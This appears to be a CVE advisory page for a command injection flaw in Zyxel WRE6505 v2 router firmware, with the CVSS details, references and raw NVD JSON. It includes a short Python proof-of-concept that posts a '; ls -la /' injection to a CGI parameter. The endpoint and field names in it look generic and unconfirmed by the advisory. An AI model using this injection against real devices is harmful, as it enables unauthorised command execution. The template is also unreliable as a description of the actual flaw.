CVE-2026-7256

Description

** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to execute operating system (OS) commands on a vulnerable device by sending a crafted HTTP request.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Zyxel WRE6505 v2 V1.00(ABDV.3)C0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual target IP)
target_url = "http://192.168.1.1/cgi-bin/system_config.cgi"

# Vulnerable parameter and payload (example)
# The payload appends a command to list directory contents
payload = "; ls -la /"

data = {
    "cmd": "ping",
    "ip": "127.0.0.1" + payload  # Injection point
}

try:
    response = requests.post(target_url, data=data, timeout=5)
    print(f"Status Code: {response.status_code}")
    print("Response:")
    print(response.text)
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7256
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7256
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7256/
[4] VulDB https://vuldb.com/cve/CVE-2026-7256
[5] https://www.zyxel.com/global/en/support/end-of-life

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7256", "sourceIdentifier": "[email protected]", "published": "2026-05-12T04:16:29.360", "lastModified": "2026-05-12T04:16:29.360", "vulnStatus": "Received", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to execute operating system (OS) commands on a vulnerable device by sending a crafted HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zyxel.com/global/en/support/end-of-life", "source": "[email protected]"}]}}